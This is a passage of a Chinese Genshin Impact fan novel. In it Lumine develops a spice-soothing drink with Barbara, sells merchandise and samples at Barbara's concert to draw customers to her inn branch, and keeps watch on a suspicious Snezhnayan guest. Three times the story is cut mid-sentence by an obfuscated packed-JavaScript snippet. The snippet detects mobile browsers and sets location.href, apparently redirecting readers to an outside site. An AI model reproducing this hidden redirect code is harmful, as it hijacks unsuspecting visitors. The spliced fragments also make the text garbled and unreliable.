芭芭拉皱眉，认真思考。 派蒙在旁边帮忙递东西："芭芭拉你真厉害！平时演出那么忙还能研究这些！" 芭芭拉笑了："我也是偶尔才有空研究。对了荧，你看过我上次的演出吗？" 荧："看过，《月下独酌》那场吧？唱得很好。" 芭芭拉高兴起来："真的吗？谢谢你！" 她一边说一边继续调配，"对了，说到演出，下周我有个大型演唱会……" 过了一会儿，她眼睛一亮："对了！水元素有舒缓作用！" 她把手指伸进杯子，轻轻弹出一小滴水元素。水面泛起微光。 "试试这个！" 荧再次尝了辣兔肉，喝下饮品。 几秒钟后，辣味真的缓解了。 "有效！" 派蒙欢呼："成功了！" 芭芭拉松了口气："太好了。" 荧立刻说："芭芭拉，这个配方我能用吗？" 芭芭拉："当然可以！" 荧："那我付你研发费。两千摩拉怎么样？" 芭芭拉连连摆手："不用不用！我只是帮个忙！" 荧："这是你的配方，应该有报酬。" 她掏出两千摩拉，塞进芭芭拉手里。 今天营收也就两千出头，全给了研发费，但解辣饮品如果能配合超辣菜谱推广开，这笔钱很快就能赚回来。 芭芭拉犹豫了一下，收下了："那谢谢你。" 荧心里盘算着。解辣饮品成本二十摩拉，可以卖一百摩拉。而且有了解辣饮品，香菱那些超辣食谱也能派上用场了。 派蒙："荧，你又在想赚钱的事了吧？" 荧："那当然。" 芭芭拉笑了："你很会做生意呢。" 她想起刚才的话题："对了，我刚才说下周有个演唱会，是西风教会主办的慈善演唱会。如果你们愿意的话，可以在现场卖周边！" 派蒙兴奋地跳起来："演唱会周边？！" 芭芭拉："对！应援手幅、徽章、明信片之类的！教会允许支持者设摊。" 荧脑子开始飞速运转。 演唱会现场卖周边，人流量大，消费意愿强。 但问题是客栈才刚开业，她走了谁来管？ 派蒙："让初号机和大伟丘看店不就行了？" 荧想象了一下丘丘人独立经营的画面。 客人："我要点餐。" 丘丘人："库兹哟哟！"（干活吃饭！） 客人："什么？" 荧打了个寒颤。不行。 但演唱会的商机又确实太诱人。 芭芭拉："没关系，你可以慢慢考虑。演唱会是下周六，还有时间。" 荧："我想想。" 芭芭拉站起来："那我先走了。谢谢你们的招待！对了，这个饮品就叫''芭芭拉特调''好了！" 派蒙："好名字！" 目送芭芭拉离开，派蒙转过来："荧，去不去？" 荧看着账本上今天的收入：两千出头。 客栈才刚开业，分店这边还不稳定。但演唱会那边人流量大，如果做得好…… 派蒙："让初号机和大伟丘看店不就行了？" 荧想象了一下丘丘人独立经营的画面，摇头："不行，还得我在才行。" 派蒙叹气："那怎么办？" 荧合上账本，看向窗外。清泉镇的灯火陆续熄灭，远处蒙德城的方向还亮着灯光。 "去是肯定要去的。"荧说，"但得想办法把分店也安排好。" 派蒙："怎么安排？" 荧没回答。她拿出纸笔，开始写演唱会的准备清单。 周边产品、摊位布置、人手安排、分店管理…… 写到一半，她突然停笔。 "派蒙，明天你去蒙德城一趟，找迪卢克问问能不能借几个人手。" 派蒙："借人？" 荧："对。猫尾酒馆那边应该有空闲的服务员，借来帮忙看两天店。" 派蒙："这样行吗？" 荧："试试看。" 她继续写清单，一条一条列得很细。 窗外夜色渐深，油灯的光映在纸上。 派蒙打了个哈欠："荧，你还要写多久？" "快了。" 又过了半小时，荧才放下笔。 清单上密密麻麻写满了字。 荧看着这张纸，深吸一口气。 能不能成，就看这次了。 25.演唱会营销（上） 芭芭拉的演唱会定在半个月后。 第二天一早，派蒙就出发了。 荧让她去晨曦酒庄找迪卢克，问能不能借两个人手来帮忙看店。 派蒙飞到酒庄，找到正在酒窖检查的迪卢克，把情况说了一遍。 迪卢克点头："可以。合作伙伴互相帮忙。" 他叫来两个年轻的服务员，让他们去清泉镇帮忙三天。 派蒙飞回客栈，高兴地说："荧！迪卢克答应了！" 荧松了口气。人手问题解决了，现在可以安心准备演唱会的事。 但她心里很清楚：演唱会不是主业，是分店的营销手段。目的是把芭芭拉特调和风干野味推广出去，让更多人知道望舒客栈。 荧把大伟丘、初号机和蒙大到蒙五都叫到一起，开始分配工作。 "大伟丘，我去演唱会这三天，分店的盲盒套餐继续供应。猎人们已经习惯了，不能断。" 大伟丘拍胸脯："喔多姆古沙！"（朋友厉害！） "蒙大、蒙二，你们帮大伟丘打下手，处理食材、洗菜、烧水。" 蒙大和蒙二点头。 "蒙三、蒙四，客房打扫照常。床单、枕头要干净，不能松懈。" 蒙三和蒙四比了个OK的手势。 "蒙五，风史莱姆抚摸区继续开放。记住，每小时让它休息十分钟，不能累坏了。抚摸券还是五十摩拉一张。" 蒙五点头，很认真。 荧又看向迪卢克派来的两个服务员："你们负责前台和结账。客人来了，热情接待。盲盒套餐还是一百摩拉，风干野味一百五十摩拉。有问题随时找大伟丘。" 两个服务员都点头记下了。 荧："初号机原本负责前台接待，现在你们顶上。我要带初号机去演唱会帮忙。" 服务员："明白。" 派蒙在旁边听着，问："荧，芭芭拉特调呢？" 荧："解辣饮品现在还不能在分店卖。" 派蒙："为什么？" 荧："因为我要用它做演唱会营销。在现场让粉丝试饮，吸引他们来分店消费。如果现在就开卖，营销效果会大打折扣。" 派蒙："哦，懂了！" 荧拿出纸笔，开始列演唱会的准备清单。 目标：推广芭芭拉特调和风干野味，给分店引流。 手段： 1. 周边产品（徽章、明信片、手幅） 2. 芭芭拉特调试饮装（买周边送） 3. 风干野味试吃装（买周边送） 4. 优惠券（引导二次消费） 5. 明信片背面印分店地址 派蒙看着清单："这么复杂？" 荧："演唱会人多，是最好的宣传机会。不能只卖周边赚一笔就走，要让粉丝记住分店的新品，以后来消费。" 她开始设计周边。 "第一，徽章。芭芭拉的头像，成本五摩拉，卖五十。" 派蒙："为什么是徽章？" 荧："徽章便宜、好做、容易携带。而且粉丝喜欢收集这种小东西，可以别在包上、衣服上，到处炫耀。" 她想起以前在公司做项目的时候，给一个乐队设计周边策略。当时她提出的方案就是主打低价徽章，薄利多销，结果那批徽章三天卖了好几万个。 演唱会现场的消费逻辑很简单：粉丝们在情绪高涨的时候，冲动消费意愿最强。徽章这种低价商品，买起来没有心理负担。 荧："第二，明信片。芭芭拉上次来客栈留了张签名照，印上去正好。成本三摩拉，卖三十。" 派蒙："明信片能卖得动吗？" 荧："能。明信片比徽章贵，但有收藏价值。而且明信片背面我要印上分店的地址和''芭芭拉特调限定供应''，这样粉丝看到明信片就会想起来分店。" 派蒙："这招厉害！" 荧："第三，手幅。找人写字，''芭芭拉加油''之类的。成本十摩拉，卖一百。" 派蒙："一百摩拉？会不会太贵了？" 荧摇头："不贵。手幅是现场必备的应援道具。你想想，演唱会开始了，周围的粉丝都举着手幅，你没有，会不会觉得格格不入？" 派蒙："会！" 荧："对。所以手幅虽然贵，但转化率很高。而且手幅的利润率是最高的，十倍。" 她把定价策略写在纸上： 徽章：低价高频，吸引人流。 明信片：中价中频，稳定收入+分店宣传。 手幅：高价低频，提升利润。 派蒙："你以前到底是干什么的？" 荧："做过些策划工作。" 她拿出芭芭拉研发解辣饮品时被辣哭的照片："还有这个。做成表情包徽章。限定版，肯定有人买。而且我还让芭芭拉写了份授权书，证明这是官方认可的。" 派蒙："你连这个都想到了？" 荧："当然。演唱会现场肯定会有盗版商。我们有授权书，就是最大的竞争力。" 她继续写清单："芭芭拉特调，做一百杯试饮装。每杯五十毫升，成本十摩拉，用小陶罐封口。买周边的顾客，每人送一杯。" 派蒙："送这么多？" 荧："这不是送，是营销投入。顾客试饮后觉得好喝，会问在哪能买到。我就告诉他们来分店，还给优惠券。" 派蒙："优惠券怎么用？" 荧："很简单。券上写''满一百摩拉减二十摩拉''。比如顾客来分店点了盲盒套餐一百摩拉，用券就只要付八十摩拉。如果点了芭芭拉特调一百摩拉加风干野味一百五十摩拉，一共两百五十摩拉，用券就只要付两百三十摩拉。" 派蒙："懂了！这样顾客会觉得很划算！" 荧："对。而且我印两百张，成本一百摩拉。如果有一半的人来消费，平均每人点两百摩拉，减掉二十摩拉，分店还能赚一百八十摩拉。一百个人就是一万八千摩拉。" 派蒙："哇！" 荧："风干野味，切成小块做试吃装。买手幅的顾客，每人送一份。" 派蒙："为什么只送给买手幅的？" 荧："因为手幅最贵，买手幅的人消费能力强，更可能成为分店的回头客。而且风干野味成本比解辣饮品高，不能白送太多。" 派蒙："你想得真周到！" 荧开始计算成本。 周边：一百五十个徽章、八十张明信片、五十条手幅，总成本一千五百摩拉。 芭芭拉特调试饮装：一百杯，成本一千摩拉。 风干野味试吃装：五十份，成本五百摩拉。 优惠券印刷：两百张，成本一百摩拉。 总成本三千一百摩拉。 如果周边全卖光，能赚一万四千九百摩拉。扣掉成本，净赚一万一千八百摩拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091042|193652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 派蒙："这账算得真细！" 荧："做生意就要算清楚。走，去蒙德城订货。" 下午，荧和派蒙到了蒙德城。 第一站，铁匠铺。 铁匠是个壮汉，看到荧的设计图，说："徽章一个十摩拉。" 荧："太贵了。我要一百五十个，批发价应该便宜点。" 铁匠："那也得八摩拉。" 荧："五摩拉。而且我还要在徽章背面刻''望舒客栈出品''，算是给你们铺子做广告。以后有人看到徽章，说不定会来你这订货。" 铁匠犹豫了一下："行吧。五摩拉就五摩拉。不过得等两天。" 荧："没问题。后天下午我来取。" 第二站，印刷店。 老板是个戴眼镜的中年人，看了设计图："明信片一张五摩拉。" 荧："我要八十张，能不能便宜点？" 老板："最多四摩拉。" 荧："三摩拉。而且明信片背面印分店地址，这相当于帮你们做宣传。以后有人来清泉镇，看到明信片，可能会想订一些纪念品。" 老板笑了："姑娘会做生意。行，三摩拉。" 第三站，裁缝铺。 裁缝是个温和的大婶，看了设计图："手幅一条十五摩拉。" 荧："我要五十条，能不能便宜点？" 裁缝："那就十二摩拉吧。" 荧："十摩拉。而且我要你们的学徒在手幅上写''芭芭拉加油''，这是练字的好机会。以后你们可以把这批手幅当作品展示，证明你们的字写得好。" 裁缝笑了："姑娘真会说话。行，十摩拉。" 派蒙在旁边听得目瞪口呆："荧，你好会砍价！" 荧："做生意就要精打细算。" 她又去找了几家陶罐店，订了一百个带封口的小陶罐，用来装芭芭拉特调试饮装。 全部订好后，荧付了定金，约定五天后来取货。 五天后，下午。 荧和派蒙去蒙德城取货。 铁匠铺、印刷店、裁缝铺、陶罐店，把所有东西都取了回来。 回到客栈，荧检查分店的运转情况。 大伟丘在厨房熟练地处理猎物，蒙大和蒙二在旁边帮忙。盲盒套餐的出品速度不比荧在的时候慢。 蒙三和蒙四把客房打扫得干干净净。 蒙五守在抚摸区，认真计时。风史莱姆干活五十分钟，休息十分钟，循环往复。 迪卢克的两个服务员在前台接待客人,态度热情，记账清楚。 荧满意地点头。分店运转正常，她可以放心去演唱会了。 接下来几天，荧一边维持分店运营，一边准备演唱会的物料。 她把芭芭拉特调分批制作，装进陶罐封口。风干野味切成小块，用保鲜盒分装。优惠券按批次整理好。 到了演唱会前一天晚上，所有东西都准备齐全。 荧检查了一遍准备的东西： 周边：装了三大箱。 芭芭拉特调：一百个封口陶罐，贴上标签"芭芭拉特调·官方授权"。 风干野味：切成小块，装在保鲜盒里。 优惠券：印了两百张，"凭此券到望舒客栈消费，满一百摩拉减二十摩拉"。 派蒙："准备得好充分啊！" 荧："这次不只是卖周边，是给分店做宣传。" 26.演唱会营销（下） 演唱会当天清晨，荧、派蒙和初号机一大早就出发了。 她把初号机叫过来："初号机，你跟我去蒙德城。" 初号机点头："姆西米塔！"（好的朋友！） 荧对大伟丘说："客栈就拜托你了。" 大伟丘拍胸脯："喔多姆古沙！"（朋友厉害！） 到了蒙德城广场，人山人海，舞台比望舒客栈还大。西风骑士团的骑士们在维持秩序，琴团长亲自坐镇指挥。 荧找了个位置，支起摊位。 桌子分成三个区域： 左边：周边展示区（徽章、明信片、手幅） 中间：试饮区（芭芭拉特调小陶罐整齐摆放） 右边：试吃区（风干野味切块装盘） 初号机举着牌子站在前面。牌子上写着："望舒应援站·官方授权·买周边送试饮试吃！" 派蒙飞在旁边招呼："芭芭拉特调！风干野味！全蒙德只有这里有！" 刚摆好，荧就注意到隔壁也支起了摊位。 一个中年男人，桌上摆着一堆符咒和幸运物。 招牌写着："忘输应援站"。 派蒙愣了一下："忘输？这什么意思？" 荧看了看那些符咒："赌博用的幸运符。" 派蒙："他也是卖芭芭拉周边的吗？" 荧："不是。他在蹭热度。" 果然，很快就有客人走错了。 一个年轻女孩跑过来："请问这里有芭芭拉的徽章吗？" 中年男人笑着说："有啊！保佑你抽卡不忘输的幸运徽章！" 女孩看了那些符咒一眼："这是赌博用的？" 中年男人："也可以保佑你追星不亏钱！" 女孩摇头走开："不要！" 她跑到荧的摊位："这里才是真的望舒应援站吧？" 荧："对。" 女孩买了三个徽章，高兴地走了。 派蒙："那边的摊位好讨厌啊！而且名字起得也太恶心了，什么''忘输应援站''，听起来就很不吉利！" 荧笑了："他估计是故意的，想让人走错。不过这样反而帮我们做宣传了。" 派蒙："怎么说？" 荧："你想啊，粉丝走错了，发现那边是骗人的，就会特别珍惜我们这个真的。而且会跟朋友说''千万别去忘输应援站，那是骗子，要去望舒应援站''。" 派蒙："原来如此！" 很快就有粉丝被吸引过来。 "这是什么饮品？" 荧："芭芭拉特调。芭芭拉亲自研发的解辣饮品，买周边就送一杯试饮。" 粉丝："真的是芭芭拉研发的？" 荧拿出授权书："你看，这是她的签名。" 粉丝买了两个徽章，荧递给她两小罐芭芭拉特调。 粉丝打开罐子尝了一口："好喝！这个在哪能买到？" 荧："清泉镇望舒客栈。这是优惠券，凭券消费满一百摩拉减二十摩拉。" 粉丝接过优惠券，看了看明信片背面印着的地址："我记住了！" 派蒙："荧，这招真管用！" 荧："继续。" 到了中午，人越来越多。广场另一边，西风教会的官方摊位开张了，一群粉丝涌向那边。 派蒙飞过去看了看，回来脸色不太好："荧，官方的徽章二十摩拉，明信片十摩拉。比我们便宜一半！" 荧冷静下来："官方有官方的优势，我们有我们的。" 她把"辣哭芭芭拉"徽章摆在最显眼的位置，旁边放着芭芭拉特调和风干野味。 派蒙举着牌子改口："限定款！独家花絮！买徽章送解辣饮品！买手幅送风干野味！" 很快，就有粉丝注意到了。 "这个是什么？" 荧："芭芭拉研发解辣饮品时被辣哭的照片，做成徽章。只做了五十个。而且买了就能试饮芭芭拉特调。" 粉丝凑近看了看："这个官方没有吧？" 荧拿出授权书："你看，这是她的签名。" 粉丝掏出钱袋："我要两个！" 荧给她两个徽章、两小罐芭芭拉特调。 粉丝尝了一口："太好喝了！在哪能买到？" 荧递上优惠券："清泉镇望舒客栈。凭券消费满一百摩拉减二十摩拉。" 粉丝看着优惠券："望舒客栈？我好像听猎人们说过，你们那有什么盲盒套餐特别受欢迎？" 荧："对。盲盒套餐一百摩拉一份，每天菜品不重样，看运气。芭芭拉特调和风干野味也都是客栈的招牌。" 粉丝收好优惠券："听起来很有意思！我一定去！" 有个客人买了手幅，荧给他一份风干野味试吃装。 客人尝了一块："这个肉好吃！什么做的？" 荧："风干野味。用风史莱姆的风，在地窖低温风干三天。也是我们客栈的限定款。" 客人："多少钱一份？" 荧："一百五十摩拉。不过凭优惠券来消费，满一百减二十，你点两份就能用上券。" 客人拿着优惠券："那我肯定去！" 派蒙收钱收得手软。 隔壁"忘输应援站"的生意越来越差，中年男人脸色难看，最后收摊走了。 派蒙："哈哈，那个骗子终于走了！" 下午三点，演唱会正式开始。 芭芭拉登台，广场上爆发出欢呼声。 粉丝们挥舞着手幅。荧的摊位生意更好了。 演唱会进行到一半，荧注意到人群里有个穿绿色衣服的吟游诗人，正坐在喷泉边弹琴。 温迪。 他弹完一曲，走到荧的摊位前，笑嘻嘻地说："哎呀，这不是荣誉骑士吗？上次借你的酒还没还呢，今天来还点钱好了！" 荧："你还记得欠我酒？" 温迪："当然记得！不过我看你这生意做得不错，应该不缺我那点酒钱吧？诶，这是什么？" 他指着桌上的芭芭拉特调。 派蒙："买周边才送试饮！" 温迪马上掏出钱："那给我来一个''辣哭芭芭拉''徽章！我最喜欢限定款了！" 荧递给他徽章和芭芭拉特调。 温迪尝了一口，满意地点头："嗯，不错！这个在哪能买到？" 荧："清泉镇望舒客栈。过几天正式推出。" 温迪："那我得去试试！对了，你们客栈还缺吟游诗人吗？我可以去驻唱，只要包吃包喝就行！" 派蒙："你又想蹭吃蹭喝！" 温迪笑着说："哎呀，互惠互利嘛！我给你们弹琴助兴，你们给我提供食宿，多好！" 荧："等客栈稳定了再说。" 温迪别上徽章，继续去弹琴了。 果然，看到温迪戴着徽章、喝着饮品，更多人涌过来买。 到了傍晚，东西差不多卖光了。 派蒙："徽章没了！明信片只剩三张！手幅还有两条！" 荧："芭芭拉特调还剩几杯？" 派蒙："五杯！" 荧："风干野味呢？" 派蒙："也没了！五十份全送完了！" 荧满意地点头。试饮和试吃都发完了，说明宣传效果不错。 这时，一个穿黑色西装的男人走了过来。 迪卢克。 他身后跟着一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100335|193652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒庄的员工。 迪卢克指着桌上剩下的东西："这些，全要了。" 荧："全部？" 迪卢克："对。" 派蒙："可是只剩五个限定版徽章、三张明信片、两条手幅了！" 迪卢克掏出钱袋："一共多少？" 荧算了算："五百五十摩拉。" 迪卢克付钱。 荧顺手给他一小罐芭芭拉特调："买周边送试饮。" 迪卢克接过，尝了一口："味道不错。这个在你客栈能买到？" 荧："对。过几天正式推出。" 迪卢克点头："我会去试试。" 他拿着周边准备离开。 身后的员工小声说："老爷，您刚才不是说要买来研究竞争对手的营销策略吗？怎么又" 迪卢克回头瞪了他一眼。 员工立刻闭嘴。 派蒙憋不住，噗嗤一声笑出来。 迪卢克面无表情地走了。 派蒙笑得直不起腰："哈哈哈，迪卢克老爷明明是想收藏，还说什么研究竞争对手！" 荧也笑了："别说出去。" 派蒙："我懂我懂！" 荧开始盘点收入。 周边收入：一万四千九百摩拉。 扣掉成本三千一百摩拉，净赚一万一千八百摩拉。 而且发出去一百九十五张优惠券，如果有一半的人来消费，分店能再赚近两万摩拉。 派蒙："荧，你真厉害！" 荧："这只是开始。等优惠券的人来分店消费，芭芭拉特调和风干野味才能真正赚钱。" 她们把东西装上马车，正准备离开，一个声音从背后传来。 "请问，这里是望舒客栈的摊位吗？" 荧转头。 一个戴帽子的高大男人站在不远处，说话带着明显的至冬口音。 荧心里警觉起来。她想起之前琴提醒过，愚人众最近在蒙德很活跃，还在清泉镇租了商铺。 派蒙："你是？" 男人走近几步："我叫尼科拉。听说你们在清泉镇开了分店，想去住宿。" 荧打量着他，保持警惕："分店在清泉镇，从这里走过去要半小时。" 尼科拉："我知道。我打听过。" 荧："住宿三百摩拉一晚。" 尼科拉从怀里掏出钱袋："这是五百摩拉，住两晚。" 荧接过钱，没有多说分店的事。 派蒙小声说："荧" 荧打断她："好的，请跟我们来。" 她上了马车，尼科拉也跟着上来。 马车开动，往清泉镇方向走。 车里很安静。 尼科拉坐在角落，帽檐压得很低。 荧则在心里盘算。愚人众的人来住宿，肯定不是单纯旅游。但生意上门，总不能拒之门外。 而且她已经交代过大伟丘和丘丘人，对陌生客人要留意，晚上初号机会守夜。 半小时后，马车停在客栈门口。 蒙大跑出来迎接："姆西米塔！" 荧跳下马车，问蒙大今天客栈怎么样。 蒙大比了个OK的手势。 荧松了口气。 尼科拉也下了车。 他站在客栈门口，抬头看了看招牌，视线在"望舒客栈"四个字上停留了几秒钟。 然后他的目光扫过客栈的窗户，似乎在观察里面的布局。又看了看院子里晾晒的床单，以及门口摆放的试饮陶罐。 荧注意到他的目光，这不是普通客人的观察方式。 尼科拉压低帽檐，低声说："就是这里。" 荧："请进。" 27.至冬来客（上） "荧，那个尼科拉真的很奇怪。" 清泉镇分店，荧和派蒙坐在大厅里，小声讨论着。 这是尼科拉入住的第三天。 两天前的晚上，演唱会结束后，荧、派蒙和尼科拉一起回到清泉镇分店。 当时尼科拉提着行李下车，站在客栈门口，抬头看了看招牌，又打量了一圈客栈的布局，才跟着荧进门办理入住。 荧让初号机带他去客房，自己回大厅清点演唱会的收入。 派蒙当时就觉得不对劲："荧，他刚才一直在打量客栈，该不会是来踩点的吧？" 荧："先观察两天再说。" 这两天，荧和派蒙一边接待优惠券客人，一边留意尼科拉的动向。 结果发现，这个人确实很奇怪。 派蒙："你看啊，第一天早上，我起来的时候看到他在院子里转悠。我以为他在散步，结果他一直盯着厨房窗户看，还在本子上记东西。" 荧："嗯。" 派蒙："第二天也是！他又在院子里走，这次盯着抚摸区的围栏看，还问蒙五风史莱姆怎么管理，每天工作多久。" 荧："他问了什么？" 派蒙："蒙五说他问得很细。工作时间、休息时间、怎么训练、怎么喂食……全都问了。" 荧皱眉。 派蒙："还有！昨晚我睡到半夜，听到院子里有脚步声。我从窗户看出去，又是他在走来走去！" 荧："你确定？" 派蒙："确定！月光下看得清清楚楚！而且他走得很慢，一边走一边看，明显是在观察地形！" 荧沉默了几秒钟。 派蒙："荧，你说他到底想干什么？" 荧："不确定。但他肯定不是单纯来度假的。" 派蒙："那我们怎么办？" 荧："继续观察。今天我亲自去跟他谈谈。" 派蒙："好！" 这时，大伟丘从厨房走过来，指了指院子。 荧和派蒙走到窗边。 尼科拉又在院子里"散步"了。 他的脚步很慢，视线在客栈的各个角落扫过。从厨房窗户到抚摸区的围栏，从晾晒的床单到门口的招牌，每个细节都不放过。 而且他手里拿着那个小本子，时不时低头记几笔。 派蒙："你看！他又在记东西！" 荧注意到他的视线，心里警觉起来。 派蒙："我去问问他！" 尼科拉看到荧，微微颔首："早上好。" 荧："早上好。住得还习惯吗？" 尼科拉："很好。这里的床比至冬的舒服多了。" 他说这话的时候，眼睛却在打量客栈的布局。从厨房窗户到抚摸区的围栏，从晾晒的床单到门口的招牌，每个细节都不放过。 荧注意到他的视线，心里警觉起来。 "你对客栈很感兴趣？" 尼科拉愣了一下："啊，是的。我很少见到这样温馨的客栈。" 他说完，从怀里掏出一个小本子，在上面记了几笔。 派蒙飘过来，盯着那个本子："你在写什么？" 尼科拉赶紧把本子收起来："没什么，只是一些旅行笔记。" 派蒙："让我看看！" 尼科拉："这是私人物品。" 派蒙更怀疑了："肯定有问题！" 荧："先别急。" 她转向尼科拉："如果没什么事，我先去忙了。" 尼科拉点头，继续在院子里"散步"。 荧回到客栈里，把大伟丘、蒙大到蒙五都叫到一起。 "昨晚和今天早上，客栈怎么样？" 大伟丘："喔多姆古沙！"（朋友厉害！） 他用丘丘语说，昨晚很顺利，迪卢克的两个服务员照看得很好。今天早上已经有客人凭优惠券来了。 蒙大补充说，那个至冬客人很奇怪，昨晚一直在打量客栈，今天早上又在院子里走来走去，还会问他们很多问题。 "问什么问题？" 蒙大用丘丘语说了一串，荧听不太懂。 大伟丘翻译："他问我们工作累不累，工资怎么算，客栈怎么管理。" 荧皱眉："他说什么语言？" 大伟丘："至冬语。不过我能听懂一些。" 派蒙："他肯定在打听情报！" 荧："别紧张。继续正常营业，但晚上让初号机守夜。" 大伟丘点头。 荧："初号机负责培训蒙大到蒙五，确保他们的工作流程不出错。晚上守夜。" 初号机点头："姆西米塔！"（好的朋友！） 荧又问："今天有多少客人预约？" 蒙二比了两只手的手指。 "十组？" 蒙二点头。 荧："好。准备开工。" 丘丘人们散开，各自忙碌起来。大伟丘去厨房准备食材，蒙大和蒙二帮忙洗菜。蒙三和蒙四去打扫客房。蒙五去抚摸区照看风史莱姆。 派蒙凑到荧身边："荧，我觉得那个尼科拉不对劲。" 荧："我也觉得。" 派蒙："要不要报告西风骑士团？" 荧摇头："暂时不用。他没做什么违法的事，只是住宿而已。" 派蒙："可他总是鬼鬼祟祟的！昨晚睡到半夜，我听到院子里有脚步声，从窗户看出去，就是他在走来走去。" 荧:"继续观察。" 她走到窗边，透过窗户看向院子。 尼科拉正在和蒙五说话，蒙五指着风史莱姆，比划着休息时间。尼科拉听得很认真，还在本子上记了几笔。 派蒙："他又在记东西！肯定是在画地图！" 荧："……未必。" "那他在干什么？" 荧没回答。她也不确定。 中午，客栈开始忙碌起来。 荧注意到，蒙大和蒙二端菜的动作比前两天熟练多了。经过初号机这两天的培训，他们已经能很流畅地配合大伟丘的节奏。 第一组客人是三个年轻女孩，手里拿着优惠券。 "请问，这里是望舒客栈的分店吗？" 荧："是的。" 女孩们很兴奋："太好了！我们是从蒙德城赶来的。" 她们坐下，看着菜单。 "盲盒套餐是什么？" 荧："一百摩拉一份，每天菜品不重样，看运气。" "那我们要三份盲盒套餐！还有三杯芭芭拉特调！" 荧："好的。" 她把菜单递给大伟丘，大伟丘去厨房准备。 女孩们拿出优惠券："凭这个可以打折对吧？" 荧："是的。满一百摩拉减二十摩拉。你们三份盲盒套餐三百摩拉，三杯芭芭拉特调三百摩拉，一共六百摩拉。可以用三张优惠券，减六十摩拉。" 女孩们算了算："那就是五百四十摩拉！" 荧点头。 没多久，大伟丘端上来三份盲盒套餐。今天的盲盒是烤蘑菇、炖肉和野菜汤。 女孩们尝了一口，满意地点头。 "好好吃！" "这个肉是什么做的？" 荧："风干野味。用风史莱姆的风，在地窖低温风干三天。" "太厉害了！" 芭芭拉特调端上来，女孩们迫不及待地喝了一口。 "比演唱会上喝的还好喝！" "请问，这个能外带吗？" 荧："可以。五十摩拉一杯。" "那我再买五杯带回去！" 荧算了算："五杯两百五十摩拉。" 女孩们付钱，高兴地离开了。 派蒙："生意真好！" 荧："优惠券的效果不错。" 第二组客人是四个猎人，穿着皮甲，背着弓箭。 "听说这里的盲盒套餐和总店一样？" 荧："没错。" 猎人们坐下："那给我们来四份盲盒套餐，两杯芭芭拉特调，两份风干野味。"

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103856|193652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 荧算了算："盲盒套餐四百摩拉，特调两百摩拉，风干野味三百摩拉，一共九百摩拉。你们有优惠券吗？" 猎人拿出两张券："有。" 荧："那减四十摩拉，八百六十摩拉。" 猎人们付钱，等着上菜。 大伟丘在厨房忙得热火朝天，蒙大和蒙二帮忙端菜。 猎人们尝了风干野味，赞不绝口。 "这个肉真好吃！比我们自己做的强多了！" "请问，这个能批发吗？我们打猎回来经常需要处理猎物。" 荧："暂时不提供批发。不过你们可以来客栈吃。" 猎人们点头："那我们以后常来！" 派蒙："荧，我们今天接了多少单了？" 荧："加上刚才的，一共六组。" 派蒙："好多啊！" 荧："优惠券发了两百张，现在才用了十几张。后面还会有更多客人来。" 正说着，又有客人进门。 这次是五个芭芭拉的粉丝，穿着印有芭芭拉头像的衣服。 "请问，这里有芭芭拉特调吗？" 荧："有。" 粉丝们兴奋地坐下："那给我们来十杯！我们要带回蒙德城！" 荧："十杯一千摩拉。你们有优惠券吗？" 粉丝们拿出五张券："有！" 荧："那减一百摩拉，九百摩拉。" 粉丝们付钱，等着打包。 其中一个粉丝问："请问，演唱会上的周边还有吗？我想买徽章和明信片。" 荧摇头："周边已经售罄了。下次演唱会再做。" 粉丝们有点失望，但还是高兴地拿着芭芭拉特调离开了。 派蒙："今天真是太忙了！" 荧："继续。" 整个下午，客人络绎不绝。有从蒙德城来的，有从清泉镇周围来的，还有路过的商队。 每组客人都点了盲盒套餐或者芭芭拉特调，有的还会加点风干野味。 尼科拉坐在院子的角落，认真地看着这一切。他拿着本子，在上面记了满满几页。 派蒙盯着他："荧，他又在记东西！" 荧："我看到了。" 派蒙："要不要去问问他？" 荧："不用。继续观察。" 到了傍晚，客栈的生意才稍微缓下来。 荧算了算今天的收入。 盲盒套餐：十五份，一千五百摩拉。 芭芭拉特调：三十杯，三千摩拉。 风干野味：十份，一千五百摩拉。 优惠券抵扣：四百摩拉。 实际收入：五千六百摩拉。 扣掉成本大约两千摩拉，净赚三千六百摩拉。 派蒙："今天赚了好多！" 荧："还不错。" 她看了一眼账本。演唱会周边赚了一万一千八百摩拉，今天分店又赚了三千六百摩拉。蒙德分店的收益已经超过预期了。 "荧，你在想什么？" 荧："在想下一步的计划。" 派蒙："什么计划？" 荧："如果分店能保持这个收入水平，一个月能赚十万摩拉左右。" 派蒙："十万！" 荧："是的。不过这还要看后面优惠券的使用情况。" 她合上账本，准备去厨房帮忙。 这时，院子里传来一声响。 荧和派蒙跑出去，看到尼科拉的笔记本掉在地上，翻开着。 